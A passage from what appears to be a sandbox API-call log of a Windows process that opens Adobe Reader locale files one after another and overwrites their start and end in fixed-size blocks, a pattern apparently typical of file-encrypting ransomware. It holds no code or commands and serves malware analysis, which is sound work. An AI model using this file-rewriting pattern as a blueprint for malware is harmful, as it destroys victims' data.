10.0\\Reader\\Locale\\sv_SE\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.129] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.129] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x8d1f [0039.129] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.129] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.130] ReleaseMutex (hMutex=0x128) returned 1 [0039.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6322c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.130] ReadFile (in: hFile=0x12c, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.149] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7d1f [0039.149] ReadFile (in: hFile=0x12c, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.162] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7d1f [0039.163] WriteFile (in: hFile=0x12c, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.163] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.163] WriteFile (in: hFile=0x12c, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.163] CloseHandle (hObject=0x12c) returned 1 [0039.192] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Checkers.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\checkers.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.193] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.193] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1d600 [0039.193] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.193] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.193] ReleaseMutex (hMutex=0x128) returned 1 [0039.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.TUR", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.TUR", lpUsedDefaultChar=0x0) returned 12 [0039.194] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.200] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1c600 [0039.200] ReadFile (in: hFile=0x12c, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.217] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1c600 [0039.217] WriteFile (in: hFile=0x12c, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.218] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.218] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.218] CloseHandle (hObject=0x12c) returned 1 [0039.268] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\RdLang32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\rdlang32.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.272] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.272] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x140000 [0039.272] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.272] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.272] ReleaseMutex (hMutex=0x128) returned 1 [0039.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.TUR", cchWideChar=12, lpMultiByteStr=0x1e6306c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.TUR", lpUsedDefaultChar=0x0) returned 12 [0039.273] ReadFile (in: hFile=0x1a0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0039.304] ReadFile (in: hFile=0x1a0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.317] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x13f000 [0039.317] ReadFile (in: hFile=0x1a0, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.331] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x13f000 [0039.332] WriteFile (in: hFile=0x1a0, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.333] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.333] WriteFile (in: hFile=0x1a0, lpBuffer=0x27c7b68*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27c7b68*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0039.333] WriteFile (in: hFile=0x1a0, lpBuffer=0x27c7b68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27c7b68*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.333] CloseHandle (hObject=0x1a0) returned 1 [0039.334] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Weblink.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\weblink.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.337] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.337] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x6c00 [0039.337] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.337] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.337] ReleaseMutex (hMutex=0x128) returned 1 [0039.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.TUR", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.TUR", lpUsedDefaultChar=0x0) returned 11 [0039.337] ReadFile (in: hFile=0x1a0, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.343] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5c00 [0039.343] ReadFile (in: hFile=0x1a0, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.349] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x5c00 [0039.350] WriteFile (in: hFile=0x1a0, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.350] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.350] WriteFile (in: hFile=0x1a0, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.350] CloseHandle (hObject=0x1a0) returned 1 [0039.350] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\EScript.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\escript.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.355] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.355] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa000 [0039.355] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.355] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.355] ReleaseMutex (hMutex=0x128) returned 1 [0039.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.UKR", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.UKR", lpUsedDefaultChar=0x0) returned 11 [0039.355] ReadFile (in: hFile=0x1a0, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.369] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x9000 [0039.369] ReadFile (in: hFile=0x1a0, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.385] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x9000 [0039.385] WriteFile (in: hFile=0x1a0, lpBuffer=0x2765a28*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2765a28*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.386] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.386] WriteFile (in: hFile=0x1a0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.386] CloseHandle (hObject=0x1a0) returned 1 [0039.393] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Search.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\search.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.397] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.397] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x5c00 [0039.397] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.398] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.398] ReleaseMutex (hMutex=0x128) returned 1 [0039.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.UKR", cchWideChar=10, lpMultiByteStr=0x1e6312c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.UKR", lpUsedDefaultChar=0x0) returned 10 [0039.398] ReadFile (in: hFile=0x1a0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.404] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4c00 [0039.404] ReadFile (in: hFile=0x1a0, lpBuffer=0x25135a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25135a8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.412] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4c00 [0039.412] WriteFile (in: hFile=0x1a0, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.413] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.413] WriteFile (in: hFile=0x1a0, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.413] CloseHandle (hObject=0x1a0) returned 1 [0039.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Annots.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\annots.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.414] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.414] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4c000 [0039.414] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.414] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.414] ReleaseMutex (hMutex=0x128) returned 1 [0039.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHS", cchWideChar=10, lpMultiByteStr=0x1e62fcc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CHS", lpUsedDefaultChar=0x0) returned 10 [0039.414] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.421] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4b000 [0039.421] ReadFile (in: hFile=0x1a0, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.427] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x4b000 [0039.427] WriteFile (in: hFile=0x1a0, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.427] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0039.428] WriteFile (in: hFile=0x1a0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.428] CloseHandle (hObject=0x1a0) returned 1 [0039.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\pddom.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\pddom.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.428] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.428] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2200 [0039.428] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0039.428] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.428] ReleaseMutex (hMutex=0x128) returned 1 [0039.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CHS", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CHS", lpUsedDefaultChar=0x0) returned 9 [0039.428] ReadFile (in: 